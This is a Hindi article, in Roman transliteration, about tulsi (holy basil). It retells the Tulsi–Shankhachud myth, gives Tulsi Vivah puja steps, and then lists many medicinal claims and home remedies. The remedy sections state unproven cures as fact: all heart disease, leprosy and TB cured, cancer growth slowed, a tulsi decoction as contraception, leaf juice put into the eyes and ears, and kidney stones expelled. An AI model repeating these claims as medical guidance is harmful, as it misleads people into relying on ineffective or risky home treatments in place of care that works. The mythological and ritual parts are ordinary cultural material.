mahayogi shankhachoo d namak rakshas ne maharshi jaivishavy se krishnamantr pakar badarinath mean pravesh kiya. anupam sauandaryavati tulasi se milane par usane bataya ki vah brahma ki ajna se usase vivah karane ke nimitt vahaan pahuancha tha. tulasi ne usase vivah kar liya. ve log danavoan ke adhipati ke roop mean nivas karane lage. jab shankhachoorn ka upadrav bahut badh gaya to ek din hari ne apana shool dekar shiv se kaha ki ve shankhachoo d ko mar dalean. shiv ne us par akraman kiya. sabane vichara ki jab tak usaki patni pativrata hai tatha usake pas narayan ka diya hua kavach hai, use marana asambhav hai. at: narayan ne boodhe brahman ke roop mean jakar usase kavach ki bhiksha maangi. shankhachoo d ka kavach pahanakar svayan usaka sa roop banakar ve usake ghar ke sammukh duandubhi bajakar apani devataoan par vijay ki ghoshana kiya. prasannata ke aveg mean tulasi ne unake sath samagam kiya. tadanantar vishnu ko pahachanakar pativrat dharm nasht karane ke karan usane shap diya -- tum patthar ho jao. tumane devataoan ko prasann karane ke lie apane bhakt ke hanan ke nimitt usaki patni se chhal kiya hai. shiv ne prakat hokar usake krodh ka shaman kiya aur kaha -- tumhara yah sharir gandak namak nadi tatha kesh tulasi namak pavitr vriksh hokar vishnu ke aansh se bane samudr ke sath bihar karogi. tumhare shap se vishnu gandaki nadi ke kinare patthar ke hoange aur tum tulasi ke roop mean un par chadhaee jaogi. shankhachoo d poorvajanm mean sudama tha, tum use bhoolakar tatha is sharir ko tyagakar ab tum lakshmivat vishnu ke sath vihar karo. shankhachoo d ki patni hone ke karan nadi ke roop mean tumhean sadaiv shankh ka sath milega. tulasi samast lokoan mean pavitratam vriksh ke roop mean rahogi. shiv aantardhan ho gaye aur vah sharir ka parityag karake baikuanth chali gee. kahate haian, tabhi se vishnu ke shaligram roop ki tulasi ki pattiyoan se pooja hone lagi.

shrikrishna ne kartik ki poornima ko tulasi ka poojan karake golok mean rama ke sath vihar kiya, at: vahi tulasi ka janmadin mana jata hai. prarambh mean lakshmi tatha ganga ne to use svikar kar liya tha, kintu sarasvati bahut kruddh huee. tulasi vahaan se aantardhan hokar vriandavan mean chali gee. isalie unhean vrinda bhi kaha gaya hai. jahaan tulasi bahutayat se ugati hai vah sthan vrindavan kaha jata hai. isi vrinda ke nam par shrikrishna ki lilabhoomi ka nam vrindavan p da. narayan pun: use dhooandhakar laye tatha sarasvati se usaki mitrata karava di. sabake lie anandayini hone ke karan vah nandini bhi kahalati hai.

tulasi ki pooja

tulasi ki pooja se ghar mean sukh-samriddhi aur dhan ki koee kami nahian hoti. isake pichhe dharmik karan hai. tulasi mean hamare sabhi papoan ka nash karane ki shakti hoti hai. tulasi ko lakshmi ka hi svaroop mana gaya hai. vidhi-vidhan se isaki pooja karane se mahalakshmi prasann hoti haian aur inaki kripa svaroop hamare ghar par kabhi dhan ki kami nahian hoti. kartik mas ke shuklapaksh ki ekadashi ko tulasi vivah ka utsav manaya jata hai. is ekadashi par tulasi vivah ka vidhivat poojan karane se bhaktoan ki sabhi manokamanaean poorn hoti haian.

  • tulasi poojan ki samany samagri :-- tulasi pooja ke lie ganna (eekh), vivah mandap ki samagri, suhagan stri ki sanpoorn samagri, ghi, dipak, dhoop, siandoor, chandan, naivady aur pushp adi.
  • tulasi poojan ka shreshth muhoort :-- sham 7.50 se 9.20 tak shubh chaughadiy़aan mean tulasi poojan karean.
  • tulasi vivah ki poojan vidhi :--
  1. tulasi vivah ke lie tulasi ke paudhe ka gamale ko geru adi se sajaean.
  2. gamale ke charoan or eekh (ganne) ka mandap banaean.
  3. ab gamale ke oopar odhऩi ya suhag ki pratik chunari odhaean.
  4. gamale ko sa di mean lapetakar tulasi ko choo di pahanakar unaka shrangar karean.
  5. shri ganesh sahit sabhi devi-devataoan ka tatha shri shaligramaji ka vidhivat poojan karean.
  6. poojan ke karate samay tulasi mantr (tulasyai nam:) ka jap karean.
  7. isake bad ek nariyal dakshina ke sath tika ke roop mean rakhean.
  8. bhagavan shaligram ki moorti ka sianhasan hath mean lekar tulasiji ki sat parikrama karaean.
  9. arati ke pashchat vivahotsav poorn kiya jata hai.
  • vivah mean jo sabhi riti-rivaj hote haian usi tarah tulasi vivah ke sabhi kary kie jate haian. vivah se sanbandhit mangal git bhi gae jate haian.
  • tulasinamashtak ka jap karean :-- ashvamegh yajn se prapt puny kee janmoan tak phal dene vala hota hai. yahi puny tulasi namashtak ke niyamit path se milata hai. tulasi namashtak ka path poore vidhi-vidhan se kiya jana chahie.
  • tulasi namashtak :--

vrinda vrindavani vishvapoojita vishvapavani. pushpasara nandanich tulasi krishna jivani..
etabhamaanshtak chaiv strotan namarthan sanyutam. y: pathet taan ch sampoojh sauashramegh phalanlameta..

tulasi ka aushadhiy parichay

gun - karm sanbandhi vibhinn mat -
  • hindoo dharm sanskriti ke chir puratan granth vedoan mean bhi tulasi ke gunoan evan usaki upayogita ka varnan milata hai. atharvaved (1-24) mean varnan milata hai - sarupakrit tvayoshadhesa sarupamid kridhi, shyama sarup karani prithivyaan atyadabhuta. idamh suprasadhay puna rupani kalpay॥ arthath - shyama tulasi manav ke svaroop ko banati hai, sharir ke oopar ke saphed dhabbe athava any prakar ke tvacha sanbandhi rogoan ko nasht karane vali atyuttam mahaushadhi hai.
  • maharshi charak tulasi ke gunoan ka varnan karate hue likhate haian - hikkakasavishashvas parshvashoolavinashanah . pittakrith kaphavataghnrah surasah pootigandhahaah॥ tulasi hichaki, khaansi, vish, shvaans rog aur parshv shool ko nasht karati hai. yah pitt karak, kaph-vatanashak tatha sharir evan bhojy padarthoan ki durgandh ko door karati hai.
  • sootr sthan mean ve likhate haian - gaurave shirasah shoolepinase hyahiphenake . krimivyadhavapasmare ghrananashe premaheke॥ (2/5) sir ka bhari hona, pinas, mathe ka dard, adha shishi, miragi, nasika rog, krimi rog tulasi se door hote haian.
  • sushrut maharshi ka mat bhi isase alag nahian hai. ve likhate haian - kaphanilavishashvasakas daurgandhanashanah . pittakritakaphavataghnah surasah samudahritah॥ (sootr-46) tulasi, kaph, vat, vish vikar, shvaans-khaansi aur durgandh nashak hai. pitt ko utpann karati hai tatha kaph aur vayu ko vishesh roop se nasht karati hai.
  • bhav prakash mean uddharan hai - tulasi pittakrid vat krimirdorgandhanashini . parshvashoolaratisvas-kas hikkavikarajit॥ tulasi pittanashak, vat-krimi tatha durgandh nashak hai. pasali ka dard, aruchi, khaansi, shvaans, hichaki adi vikaroan ko jitane vali hai. age ve likhate haian - yah hriday ke lie hitakar, ushn tatha agnidipak hai evan kusht-mootr vikar, rakt vikar, parshvashool ko nasht karane vali hai. shvet tatha krishnaa tulasi donoan hi gunoan mean saman haian.
  • dhanvantari nighantukar ke anusar tulasi patr athava patr svaras ushn, kaph nissarak, shitahar, svedajanan, dipan, krimighn, durgandh nashak v pratidooshak hota hai. isake bij madhur, snigdh, shital evan mootrajanan hote haian.
  • shasr abhimat hai ki tulasi ki j d visham jvar ko shaant karati hai tatha bij viry ko gadha banata hai. shantidayak hota hai. sookha paudha samagr roop mean choorn roop mean lie jane par yakritottejak pachak ras badhane ka advitiy gun rakhata hai.
  • vanaushadhi chandroday granth ke anusar aantoan ke andar tulasi patr svaras ka prabhav kriminashak evan vat shamak hota hai. vaman band hota hai aur purana kabj door hota hai. dad par isaka ras chup dane se dad mitata hai. vrinoan ko isake svaras se marjit karane par unamean sankraman nahian badhata tatha ve jaldi bhar jate haian. isake garbh nirodhak gunoan ki charcha bhi shasroan mean ki gayi hai. tulasi patr ke kadhe ki ek pyali yadi pratimas rajodarshan ke bad tin din tak niyamit roop se sevan ki jae to garbhasthapana nahian hota.
  • kushth ka prabhav agar tvacha ke alava maans asthiyoan ko bhi prabhavit kar chuka ho to tulasi ke prayog se usaka bhi nash hota hai. ek vidvan ka mat hai ki tulasi mean nar v mada do jatiyaan hoti haian. nar jati purush rogoan ke lie tatha mada jati stri rogoan mean kam mean layi jati hai. yah kahaan tak sahi hai v kaise inhean pahachana jae, yah shodh ka vishay hai.
  • achary priyavrat sharma ke anusar sabhi prakar ke kaph, vat vikaroan mean tulasi upayogi hai. sthaniy lep ke roop mean vranoan, shoth, sandhi pi da, moch adi mean isaka lep karate haian. avasad evan lo blad preshar ki sthiti mean ise tvacha par malane se turant snayu sansthan sakriy hota hai. sharir ke bahari krimiyoan mean bhi isaka lep karate haian. unake anusar yah agnimandata, kisi bhi prakar ke udarashool tatha aantoan ke krimiyoan mean upayogi hai. bij pravahika mean dene par turant labh karate haian. yah hridayottejak hai tatha rakt vikaroan ka shodhan karati hai. khaansi, dama tatha is karan maansapeshiyoan v ri d ki haddi mean jak dan mean isaka svaras bahut upayogi hai.
  • achary sharma ke anusar mootradah v visarjan mean kathinaee tatha blaidar ki soojan v pathari mean bij choorn turant labh karata hai. kushth ki yah sarvashreshth aushadhi hai. yah visham jvar ko mitati hai. kisi bhi prakar ke jvar ke chakr ko yah turant to dati hai. rajayakshma mean bhi isake prayog saphal rahe haian. jivani shakti badhakar yah jivanuoan ko palane nahian detian. yah maleriya virodhi hai. kshup ghar ke as-pas lagane se machchhar nahian samip ate, isake svaras ka lep karane se ve katate nahian tatha mukh dvara grahan kie jane par unhean sakriy sanghatak nasht kar dete haian. bij rasayan bhi haian tatha durbalata ka nash karate haian.
  • d aau. khori ke anusar shvet tulasi ushn v pachak hai. yah balakoan ke pratishyay tatha rogoan mean prayukt hoti haian. kali tulasi kaph nissarak evan jvar nashak hai. sookhe pattoan ka choorn pinas (sainosaitis) ke lie prayukt hota hai. tulasi siddh tel karnashool mitata hai.
  • tulasi ras mean maleriya jvar ke karan protojoa peresait ko tatha machchharoan ko nasht karane ki adbhut kshamata hai. pahali bar sanh 1907 mean ianglaind mean impiriyal medikal kanphrens mean is bat ka rahasyodghatan kiya gaya ki kali tulasi se maleriya ka upadrav bahut kam ho jata hai. isake bad bahut se anusandhan is kshetr mean hue haian v b de saphal rahe haian. sabhi mean paya gaya ki tulasi patroan se sparsh ki vayu mean aise gun hote haian ki machchhar us poore parisar ke as-pas phatakate bhi nahian.
  • vaijnanikoan ne tulasi ke andar ek aisa u danashil tel paya hai jo hava mean milakar jvar utpann karane vale sab kitanuoan ko nasht kar deta hai. sardi se chadhane vale jvar mean visheshakar tr aaupikal kshetroan ke jvar mean yah paya gaya hai ki isake sevan se sardi chhati mean utarane nahian pati tatha chhati mean baitha kaph shvaans marg se bahar nikal jata hai. svaras mean itani tivr samarthy hai ki isase krimi turant mar jate haian aur dast saph hota hai. vaman ka turant shaman hota hai.
  • vanaspati vaijnanik d aau. ji.di. nadakarni ka adhyayan batalata hai ki tulasi mean kuchh aise gun haian, jinake karan yah sharir ki vidyutiy sanrachana ko sidhe prabhavit karati hai. tulasi ke niyamit sevan se hamare sharir mean vidyutiy-shakti ka pravah niyantrit hota hai. tulasi ki lak di se bane danoan ki mala gale mean pahanane se sharir mean vidyut shakti ka prabhav badhata hai tatha jiv koshoan dvara unako dharan karane ki samarthy mean vriddhi hoti hai. bahut se rog is prabhav se akraman karane ke poorv hi samapt ho jate haian tatha vyakti ki jivanavadhi badhati hai. d aau. nadakarni ke anusar kamazor vyakti yadi svalp matra mean bhi tulasi ki j d ka choorn pratah sayan ghi ke sath lean to unaka ojash v bal badhata hai.
  • d aau. khagendr nath vasu ne bhi tulasi ki vidyutiy samarthy ka loha mana hai. ve likhate haian ki tulasi ka tho da-sa bhi sharir se sampark sankramak vyadhiyoan ko nirast kar deta hai. tulasi gulm ke niche ki mitti ko khakar aur use sharir se lagakar vishleshan to vaijnanik shodh prakriya dvara hi sanbhav hai. sanbhatah isi karan mandir, masjidoan tatha girijagharoan ke as-pas tulasi ke paudhe lagae jane ka pravadhan raha ho.
homyopaithik mat -

bharatiy v yooropiy donoan hi homyopaith siddhant tulasi ko amritopam manate haian. bangal ke d aau. vishvas kahate haian ki tulasi anekanek lakshanoan mean labhakari aushadhi hai. sir mean dard, smaran shakti mean kami, bachchoan ka chi dachi dapan, aankhoan ki lali, elarji ke karan chhikean ana, nak bahana, muanh mean chhale, gale mean dard, peshab mean jalan, dama tatha jirn jvar jaise bahut prakar ke lakshanoan mean tulasi ko homyopaithi mean sthan diya gaya hai. isaki 2, 3, 6, 30 tatha 200 vian potensi mean prayog kar in sabhi rogoan mean labh pae haian. brajil mean tulasi ki aansimam kainan namak jati payi jati hai. d aau. bhare v borik yah manate haian ki yah prajanan tatha mootravahi sansthan rogoan ki shreshth aushadhi hai.

yoonani mat -

isake anusar tulasi hridayottejak, balavardhak tatha yakrit amashay baladayak hai. yah hriday ko bal denevali hone ke karan anek prakar ke shoth-vikarajany rogoan mean aram deti hai. yah shirahshool ki shreshth aushadhi hai. patte sooanghane se moorchha door hoti hai tatha chabane se durgandh. ras kan mean tapakane se karnashool shant hota hai.

adhunik mat evan vaijnanik prayogoan ke nishkarsh

  • indiyan drags patrika (agast 1977) ke anusar tulasi mean vidyaman rasayan vastutah utane hi gunakari haian, jitana varnan shasroan mean kiya gaya hai. yah kitanashak hai, kit pratikarak tatha prachand jivanunashak hai. visheshakar enaanphilis jati ke machchharoan ke viruddh isaka kitanashi prabhav ullekhaniy hai. d aau. pushpagandhan evan sobati ne apane khojapoorn lekh mean b de vistar se vishv mean chal rahe prayasoan ki janakari di hai.
  • 'entivayatiks end kimotherepi' patrika ke anusar tulasi ka eethar nishkarsh ti.vi. ke jivanu maikrovaiktiriyam tyoovar-kulosis ka badhana rok deta hai. sabhi adhunikatam aushadhiyoan ki tulana mean yah nishkarsh adhik sandrata mean shreshth hi baithata hai. shri ramasvami evan sirasi dvara die ge shodh parinamoan (d indiyan janaral aauph pharmesi mee-1967) ke anusar tulasi ki ti.vi. nashak kshamata vilakshan hai is jivanu ke 'hyooman stren ki vriddhi' ko bhi yah aushadhi rokati hai.
  • 'velth aauph indiya' ke anusar tulasi ka svaras tatha nishkarsh kee any jivanuoan ke viruddh bhi sakriy paya gaya hai. inamean pramukh haian - stephilokokas aanriyas, salmonela taiphosa aur ekkereshiya kolaee. isaki jivanu nashi kshamata karbolik aml se 6 guna adhik hai. navinatam shodhoan mean tulasi ki jivanunashi sakriyata anyany jivanuoan ke viruddh bhi siddh ki gee hai. d aau. kaul evan d aau. nigam (janaral aauph risarch in indiyan medisin yoga end homyopaithi-12/1977) ke anusar tulasi ka utpat tel kalvesila nyoomoanni, proantis balegaris kendidaan elbikens jaise ghatak roganuoan ke viruddh bhi sakriy paya gaya hai.
  • d aau. bhat evan borakar ke shodh nishkarshoan ke anusar (je0es0aee0ar0) tulasi ke bijoan mean entokoegules sanghatak hota hai, jo stephilokoegules ke rakt mean prabhav ko nirast karata hai. inake atirikt tulasi ke madhumeh pratirodhi, garbh nirodh tatha jvaranashi prabhavoan par bhi vistar se vaijnanik adhyayan chal raha hai. sanbhavana hai ki shasrokt sabhi prabhavoan ko agale dinoan prayogashala mean siddh kiya ja sakega.
aushadhiy mahatv -

bharatiy sanskriti aur dharm mean tulasi ko usake mahan gunoan ke karan hi sarvashreshth sthan diya gaya hai. bharatiy sanskriti mean yah poojy hai. tulasi ka dharmik mahatv to hai hi lekin vijnan ke drishtikon se tulasi ek aushadhi hai. ayurved mean tulasi ko sanjivani booti ke saman mana jata hai. tulasi mean kee aise gun hote haian jo b di-b di jatil bimariyoan ko door karane aur unaki rokatham karane mean sahayak hai. hriday rog ho ya sardi jukam, bharat mean sadiyoan se tulasi ka istemal hota chala a raha hai. aushadhiy gunoan se paripoorn pauranik kal se prasiddh patit pavan tulasi ke patto ka vidhipoorvak niyamit aushadhituly sevan karane se anekanek bimariya thik ho jati hai. isake prabhav se manasik shaanti ghar mean sukh samriddhi aur jivan mean apar saphalataoan ka dvar khulata hai. yah aisi ramaban aushadhi hai jo har prakar ki bimariyoan mean kam ati hai jaise- smaran shakti, hriday rog, kaph, shvas ke rog, pratishyay, khoon ki kami, kh aausi, jukam, dama, dant rog, dhaval rog adi mean chamatkari labh milata hai. tulasi ki upayogita ko dekhate hue aj isaki kheti bhi hone lagi hai. ajamagadh me bade paimane par tulasi ki kheti shuroo ho gee hai, jo desh videsh me bheji ja rahi hai. tulasi ek prakar se sare sharir ka shodhan karane vali jivan shakti sanvardhak aushadhi hai. vatavaran ka bhi shodhan karati hai tatha paryavaran santulan banati hai. aushadhi ke vishay mean jitana likha jae kam hai.

gharoan mean hare aur kale pattoan vali tulasi paee jati hai. donoan ka sevan svasthy ke lie labhadayak hota hai. ek varsh tak nirantar isaka sevan karane se sabhi prakar ke rog door ho sakate haian. bachchoan ki am bimariyoan jaise sardi, bukhar, ulti dast adi mean tulasi ka ras labhadayak hai. yadi chikanap aauks (mata) ho gaya ho to kesar ke sath tulasi patr lene se shighr aram milata hai. tulasi ka paudha jis ghar mean ho vaha baiktiriya jo ki svasthy ke lie bahut hanikarak hote hai inhe panapane nahian deta. tulasi ka ras akhoan ke dard, ratri aandhata jo samanyatah vitamin ‘e‘ ki kami se hota hai ke lie atyant labhadayak hai.

tulasi ka tel banaean –

j d sahit tulasi ka hara bhara paudha lekar dho lean, ise pisakar isaka ras nikalean. adha ki. pani- a. ki tel dalakar halki aanch par pakaean, jab tel rah jae to chhanakar shishi mean bhar kar rakh dean. tel ban gaya. ise saphed dag par lagaean. in sab ilaj ke lie dhairy ki jaroorat hai. karan thik hone mean samay lagata hai.

samany prayog -

(1) tulasi ki p aauch pattiy aauan, 2 nag kali mirch ka choorn, rat ko pani mean bhigi huee 2 nag badam ka chhilaka nikalakar phir usaki chatani banakar ek chammach shahad ke sath sevan karean evan lagabhag adha khanta ann-jal grahan na kare. (2) tulasi ke pattoan ko saph pani mean ubal le ubale jal ko pine mean upayog karean. kulla karane mean bhi isaka upayog kar sakate hai. (3) 2-3 pattiya le aur chhachh ya dahi ke sath sevan karean. bahut sari ayurvedik kampaniyaan apane jivanadayi aushadhiyoan mean tulasi ka upayog karati hai.

vyavaharik prayog -

j d, patr, bij v panchaang prayukt karate haian. matra - svaras- 10 se 20 gram . bij choorn- 1 se 2 gram . kvath-1 se 2 auans .

  • gale aur saans ki samasya mean --
  1. khaansi athava gala baithane par tulasi ki j d supari ki tarah choosi jati hai.
  2. shvaans rogoan mean tulasi ke patte kale namak ke sath supari ki tarah muanh mean rakhane se aram milata hai.
  3. tulasi ki hari pattiyoan ko ag par seank kar namak ke sath khane se khaansi tatha gala baithana thik ho jata hai.
  4. tulasi ke pattoan ke sath 4 bhuni lauang chabane se khaansi jati hai.
  5. tulasi ke komal pattoan ko chabane se khaansi aur najale se rahat milati hai.
  6. khaansi-jukam mean - tulasi ke patte, adarak aur kali mirch se taiyar ki huee chay pine se turant labh pahuanchata hai.
  7. 10-12 tulasi ke patte tatha 8-10 kali mirch ke chay banakar pine se khaansi jukam, bukhar thik hota hai.
  8. pheph doan mean kharakharahat ki avaj ane v khaansi hone par tulasi ki sookhi pattiyaan 4 gram mishri ke sath dete haian.
  9. kali tulasi ka svaras lagabhag dedh chammach kali mirch ke sath dene se khaansi ka veg ekadam shant hota hai.
  10. 10 gram tulasi ke ras ko 5 gram shahad ke sath sevan karane se hichaki, asthama evan shvaans rogoan ko thik kiya ja sakata hai.
  11. jukam mean tulasi ka panchaang v adarak saman bhag lekar kvath banate haian. ise din mean tin bar lete haian.
  12. adarak ya soanth, tulasi, kalimirch, dalachini tho da-thoda sabako milakar ek glas pani mean ubalean, jab pani adha rah jae to shakkar namak milakar pi jaean. isase phloo, khaansi, sardi, jukam thik hota hai.
  13. tulasi ke patte 10, kali mirch 5 gram, soanth 15 gram, sike chane ka ata 50 gram aur gu d 50 gram, in sabako pan v adarak mean ghoant lean tatha ek ek gram ki goliyaan bana lean.
  14. shahad, adarak aur tulasi ko milakar banaya gaya kadha pine se broankaitis, dama, kaph aur sardi mean rahat milati hai.
  15. namak, lauang aur tulasi ke pattoan se banaya gaya kadha ianphlueanja mean phauran rahat deta hai. jab bhi khaansi ho sevan karean.
  16. tulasi v adarak ka ras ek ek chammach, shahad ek chammach, mulethi ka choorn ek chammach milakar subah sham chatean, yah khaansi ki achook dava hai.
  17. tulasi ke pattoan ka ras, shahad, pyaj ka ras aur adarak ka ras sabhi chay ka ek-ek chammach bhar lekar mila lean. ise avashyakata ke anusar din mean tin-char bar lean. isase balagam bahar nikal jata hai aur rog thik ho jata hai.
  18. tulasi dama ti.vi. mean atyant labhakari haian. tulasi ke niyamit sevan se dama, ti vi nahian hoti haian kyooanki yah bimari ke jammedar karak jivanu ko badhane se rokati haian. charak sanhita mean tulasi ko dama ki aushadhi bataya gaya haian.
  19. phloo rog tulasi ke pattoan ka kadha, seandha namak milakar pine se thik hota hai.
  20. qarib sabhi kaph sirap ko banane mean tulasi ka istemal kiya jata hai. tulasi ki pattiyaan kaph saph karane mean madad karati haian.
  21. tulasi ke sookhe patte na pheanke, ye kaph nashak ke roop mean kam mean laye ja sakate haian.
  • jvar se june samasya mean --
  1. jvar yadi visham prakar ka ho to tulasi patr ka kvath 3-3 ghante pashchat sevan karane ka vidhan hai. athava 3 gram svaras madhu ke sath 3-3 ghante mean lean.
  2. halke jvar mean kabj bhi sath ho to kali tulasi ka svaras (10 gram) evan gau ghrit (10 gram) donoan ko ek katori mean gunaguna karake is poori matra ko din mean 2 ya 3 bar lene se kabj bhi mitata hai, jvar bhi.
  3. tulasi ki j d ka kadha bhi adhe auans ki matra mean do bar lene se jvar mean labh pahuanchata hai.
  4. tulasi ke patte ka ras 1-2 gram roj piean, bukhar nahian hoga.
  5. ek samany niyam sabhi prakar ke jvaroan ke lie yah hai ki bis tulasi dal evan das kali mirch milakar kvath pilane se turant jvar utar jata hai.
  6. motijhara (tayaphaid) mean 10 tulasi patr 1 masha javitri ke sath pani mean pisakar shahad ke sath din mean char bar dete haian.
  7. tulasi, kali mirch, dalachini, lauang, adarak kootakar pisakar ek glas pani mean itana ubalean ki adha rah jae to utar kar namak chini mean ichchhanusar dalakar piyean, phir odhakar so jaean.
  8. tulasi sauanth ke sath sevan karane se lagatar ane vala bukhar thik hota hai.
  9. tulasi, adarak, mulaithi sabako ghotakar shahad ke sath lene se sardi ke bukhar mean aram hota hai.
  10. yadi tulasi ki 11 pattiyoan ka 4 kh di kalimirch ke sath sevan kiya jae to maleriya evan miyadi bukhar thik kie ja sakate haian.
  • tvacha rog se june samasya mean --
  1. aushadhiy gunoan se bharapoor tulasi ke ras mean thaimol tatv paya jata hai. jisase tvacha ke rogoan mean labh hota hai. isaki pattiyoan ka ras nikal kar barabar matra mean nianboo ka ras milayean aur rat ko chehare par lagaye to jhaiyaan nahian rahati, phuansiyaan thik hoti hai aur chehare ki rangat mean nikhar ata hai.
  2. dad v ekjima rog mean isake paudhe ki mitti ki patti ek se dedh ghante tak baandhi jati hai.
  3. dad, khujali aur tvacha ki any samasyaoan mean tulasi ke ark ko prabhavit jagah par lagane se kuchh hi dinoan mean rog door ho jata hai.
  4. naichuropaithoan dvara lyookodarma ka ilaj karane mean tulasi ke pattoan ko saphalata poorvak istemal kiya gaya hai.
  5. kushtharog mean - isaki j d ko pisakar, soanth milakar jal ke sath prat: pine se kushth rog nivaran ka labh milata hai.
  6. kushth rog ya kodh mean tulasi ki pattiyaan ramaban sa asar karati haian. khayean tatha ras prabhavit sthan par malean bhi.
  7. kushth rog mean tulasi patr svaras pratidin pratah pine se labh hota hai.
  8. tulasi ke pattoan ka ras ekjima par lagane, pine se ekjima mean labh milata hai.
  9. dad, chhaj v khaj mean tulasi panchaang nianboo ke ras mean milakar lep karate haian.
  10. uthate hue pho doan mean tulasi ke bij ek masha tatha do gulab ke phool ek sath pisakar thandaee banakar pite hai.
  11. pitti nikalane par manjari v punarnava ki patti saman bhag lekar kvath banakar piean.
  12. chehare ke muanhasoan mean tulasi patr evan santare ka ras milakar ratri ko chehara dhokar achchhi tarah se lep karate hai.
  13. vranoan ko shighr bharane tatha sankraman grast jakhmoan ko dhone ke lie tulasi ke pattoan ka kvath banakar usaka thanda lep karate haian.
  14. rakt vikaroan mean tulasi v giloy ka tin-tin mashe ki matra mean kvath banakar do bar mishri ke sath lete haian.
  15. tulasi patroan ko pisakar chehare par ubatan karane se chehare ki abha badhati hai.
  • vaman ki sthiti mean tulasi patr svaras madhu ke sath pratahkal v jab avashyakata ho pilate haian. pachan shakti badhane ke lie, apach rogoan ke lie tatha balakoan ke yakrit pliha sanbandhi rogoan ke lie tulasi ke patroan ka phant pilate haian. chhoti ilayachi, adarak ka ras v tulasi ke patr ka svaras milakar dene par ulti ki sthiti ko shant karate haian. dast lagane par tulasi patr bhune jire ke sath milakar (10 tulasidal + 1 masha jira) shahad ke sath din mean tin bar chatane se labh milata hai. *tulasi ke char-paanch gram bijoan ka mishri yukt sharbat pine se aanv thik rahata hai. tulasi ke pattoan ko chay ki tarah pani mean ubal kar pine se aanv (peanchis) thik hoti hai. apach mean manjari ko kale namak ke sath dete haian. bavasir rog mean tulasi patr svaras muanh se lene par tatha sthaniy lep roop mean turant labh karata hai. arsh mean isi choorn ko dahi ke sath bhi diya jata hai.
  • balakoan ke sankramak atisar rogoan mean tulasi ke bij pisakar gaudugdh mean milakar pine se labh hota hai. pravahika mean mootr svaras 10 gram pratah lene par rog age nahian badhata. krimi rogoan mean tulasi ke patroan ka phant sevan karane se krimijany sabhi upadrav shant ho jate haian. udar shool mean tulasi daloan ko mishri ke sath dete haian tatha sangrahani mean bij choorn 3 gram subah-sham mishri ke sath. bachchoan mean bukhar, khaansi aur ulti jaisi samany samasyaoan mean tulasi bahut fayademand hai.
  • sir ke dard -- adhe sir ke dard mean pratah kal aur sham ko ek chauthaee chammach bhar tulasi ke pattoan ka ras, ek chammach shuddh shahad ke sath nity lene se 15 dinoan mean rog poori tarah thik ho sakata hai. tulasi ka kadha pine se sir ke dard mean aram milata hai. medhavardhan hetu tulasi ke paanch patte jal ke sath pratidin pratah nigalana chahie. asadhy shiroshool mean tulasi patr ras kapoor milakar sir par lep karate haian, turant aram milata hai.
  • aankhoan ki samasya -- aankhoan ki jalan mean tulasi ka ark bahut karagar sabit hota hai. rat mean rojana shyama tulasi ke ark ko do booand aankhoan mean dalana chahie. shyam tulasi (kali tulasi) pattoan ka do-do booand ras 14 dinoan tak aankhoan mean dalane se ratauandhi thik hoti hai. aankhoan ka pilapan thik hota hai. aankhoan ki lali door karata hai. tulasi ke pattoan ka ras kajal ki tarah aankh mean lagane se aankh ki roshani badhati hai.
  • tulasi ke hare pattoan ka ras (bina pani mean dale) garm karake subah sham kan mean dalean, kam sunana, kan ka bahana, dard sab thik ho jata hai. tulasi ke ras mean kapoor milakar halka garm karake kan mean dalane se kan ka dard turant thik ho jata hai. kanapati ke dard mean tulasi ki pattiyoan ka ras malane se bahut fayada hota hai.
  • muanh ka sankraman -- alsar aur muanh ke any sankraman mean tulasi ki pattiyaan fayademand sabit hoti haian. rojana tulasi ki kuchh pattiyoan ko chabane se muanh ka sankraman door ho jata hai. tulasi ki sookhi pattiyoan ko sarasoan ke tel mean milakar daant saph karane se saansoan ki durgadh chali jati hai. payariya jaisi samasya mean bhi yah khasa karagar sabit hoti hai. mukh rogoan v chhaloan mean tulasi kvath se kulla karean evan dantashool mean tulasi ki j d ka kvath banakar usaka kulla karean.
  • sandhishodh mean athava gathiya ke dard mean tulasi ke panchag (j d, patti, danthal, phal, bij) ka choorn banaean. barabar ka purana gu d milakar 12-12 gram ki goliyaan bana lean. subah sham gau doodh ya bakari ke doodh se 1-12 goli khalean. gathiya v jo doan ka dard mean labh hota hai. siyatika rog mean tulasi patr kvath se rog grast vat na di ka svedan karate haian. tulasi v adarak ka ras 5-5 gram ki matra me sevan karane se tho de hi dinoan mean haddi mean gais ki samasya hal ho jati hai. jo doan mean dard ho to tulasi ka ras piyean. tulasi ke sevan se tooti haddiyaan shighrata se ju d jati haian.
  • gurde ka rog -- mootrakrichchh (disayooriya-peshab mean jalan, kathinaee) mean tulasi bij 6 gram ratri 150 gram jal mean bhigokar is jal ka pratah prayog karate haian. tulasi svaras ko mishri ke sath subah-sham lene se bhi jalan mean aram milata hai. tulasi gurde ko majaboot banati hai. kidani ki pathari mean tulasi ki pattiyoan ko ubalakar banaya gaya joos (tulasi ke ark) shahad ke sath niyamit 6 mah sevan karane se pathari mootr marg se bahar nikal jata hai.
  • dhatu daurbaly mean tulasi ke bij ek masha, gay ke doodh ke sath pratah evan ratri ko dete haian . aisa anubhav hai ki napusankata mean tulasi bij choorn athava mool sam bhag mean purane gu d ke sath milane par tatha nity dedh se tin gram ki matra mean gay ke doodh ke sath 5-6 saptah tak lene se labh hota hai.
  • stri rog-- masik dharm, shvet pradar yadi masik dharm thik se nahian ata to ek glas pani mean tulasi bij ko ubale, adha rah jae to is kadhe ko pi jaean, masik dharm khulakar hoga. masik dharm ke dauran yadi kamar mean dard bhi ho raha ho to ek chammach tulasi ka ras lean. pradar rog mean ashok patr ke svaras ke sath masik dharm ki pi da mean bar-bar dene se labh hota hai. tulasi ka ras 10 gram chaval ke ma d ke sath pie sat din. pradar rog thik hoga. is dauran doodh bhat hi khaean. tulasi ke bij pani mean rat ko bhigo dean. subah masalakar chhanakar mishri mean milakar pi jaean. pradar rog thik hoga.
  • vividh-vibhinn prakar arbudoan mean (kaiansar) tulasi ke prayog kie ge haian. 25 ya isase adhik taje patte pisakar nity pilane par unaki vriddhi ki gati rukati hai. is kathan ki satyata ki pariksha hetu shodh anivary hai.
  • hriday rog -- ja doan mean tulasi ke das patte, paanch kali mirch aur char badam giri sabako pisakar adha gilas pani mean ek chammach shahad ke sath lene se sabhi prakar ke hriday rog thik ho jate haian. tulasi ki 4-5 pattiyaan, nim ki do patti ke ras ko 2-4 chammach pani mean ghot kar paanch-sat din pratah khali pet sevan karean, uchch raktachap thik hota hai. dil ki bimari mean yah varadan sabit hoti hai yah khoon mean kolestral ko niyantrit karata hai.
